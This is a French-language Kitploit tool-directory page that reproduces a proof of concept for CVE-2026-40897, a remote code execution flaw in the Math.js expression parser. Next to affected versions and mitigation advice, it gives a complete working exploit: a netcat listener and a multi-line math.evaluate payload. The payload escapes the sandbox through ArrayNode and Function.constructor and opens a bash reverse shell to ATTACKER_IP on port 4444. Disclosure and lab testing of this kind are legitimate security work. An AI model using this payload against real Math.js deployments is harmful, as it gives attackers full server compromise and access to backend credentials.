Skip to content
KitploitKITPLOIT
OutilsBlog
Soumettre
OutilsBlog
Soumettre

Outils de Hacking, PenTest et Cybersécurité pour votre Arsenal de Sécurité !

Kitploit est un répertoire d'outils de hacking, de cybersécurité et de pentesting. Découvrez les dernières mises à jour des projets pour trouver des vulnérabilités, analyser des systèmes, automatiser les tests et renforcer votre sécurité.

··Flux·Contact·Confidentialité·© 2026 Kitploit

Répertoire d'outils

Catégories

Voir toutes les catégories
Loading categories
CVE-2026-40897 — Math.js Expression Parser RCE | Kitploit
Outils/GitHubGitHub/eqstlab/cve-2026-40897
Vulnerability AnalysisExploitationWeb Application ExploitationLearning & EducationRemote Access ToolPayload Development
GitHubeqstlab/cve-2026-40897

CVE-2026-40897

Math.js Expression Parser RCE

Voir le dépôt
2il y a 2 moisPas encore vérifié

Populaires

Voir tout →

Découvrez les outils les plus utilisés par notre communauté.

Explorer tous les outils

Parcourez notre collection d'outils

Voir tous les outils →
Partager

CVE-2026-40897 Exécution de code à distance dans l'analyseur d'expressions Math.js

★ CVE-2026-40897 Exécution de code à distance dans Math.js PoC ★

https://github.com/user-attachments/assets/8c394039-f00a-4875-991a-fb5f40bc6898


Aperçu

CVE-2026-40897 est une vulnérabilité Contournement de sandbox menant à l'exécution de code à distance dans l'analyseur d'expressions de Math.js. Le filtre isSafeProperty vérifie uniquement l'accès aux propriétés depuis les expressions utilisateur, et non depuis les chemins de code internes. En divulguant le tableau interne de ArrayNode via toJSON() et en écrasant son .map, un attaquant peut forcer le code interne à accéder à Function.constructor et exécuter du code JavaScript arbitraire.


Versions affectées

CatégorieVersion
VulnérableMath.js 13.1.1 ≤ version ≤ 15.1.1
Corrigé15.2.0

Impact

  • Exécution de code JavaScript arbitraire (RCE)
  • Accès au système de fichiers hôte
  • Connexion reverse shell menant à un compromis complet du serveur
  • Exfiltration des identifiants backend et des données sensibles

Environnement

root@kitploit:~
docker build -t cve-2026-40897-mathjs-vuln .
docker run --rm -it -p 3000:3000 --name mathjs-vuln cve-2026-40897-mathjs-vuln

PoC

Après avoir démarré l'environnement vulnérable, suivez les étapes ci-dessous pour reproduire l'attaque.

Étape 1. Démarrer un écouteur reverse shell

root@kitploit:~
nc -lvnp 4444

Étape 2. Soumettre la charge utile malveillante

Envoyez l'expression suivante à math.evaluate (par exemple, via l'entrée de calcul de l'application).

root@kitploit:~
array = reviver('',{'mathjs':'ArrayNode'}).toJSON()['items']
array.map = f(callback)=callback({'map':f2(callback2)=callback2({},'constructor'),'type':sum})
functionAssignmentNode = reviver('',{'mathjs':'FunctionAssignmentNode','name':'a','params':array,'expr':reviver('',{'mathjs':'ConstantNode'})})
func = functionAssignmentNode.toJSON()['params']['type']
shell = func('return process.mainModule.require("child_process").execSync("bash -c \'bash -i >& /dev/tcp/ATTACKER_IP/4444 0>&1\'").toString()')
shell()

Étape 3. Confirmer l'accès au shell côté attaquant

Le serveur cible se reconnecte à l'écouteur de l'attaquant, offrant un shell bash interactif.


Atténuation

  • Mettez à niveau Math.js vers une version corrigée
  • Évitez de passer directement des entrées utilisateur non fiables à math.evaluate()
  • Limitez l'exposition des fonctions/classes internes (reviver, FunctionAssignmentNode, ArrayNode) via l'analyseur d'expressions

Analyse

  • KR : https://www.skshieldus.com/security-insights/reports/eqst-math-js-rce-cve-2026-40897
  • EN :
Télécharger l’outil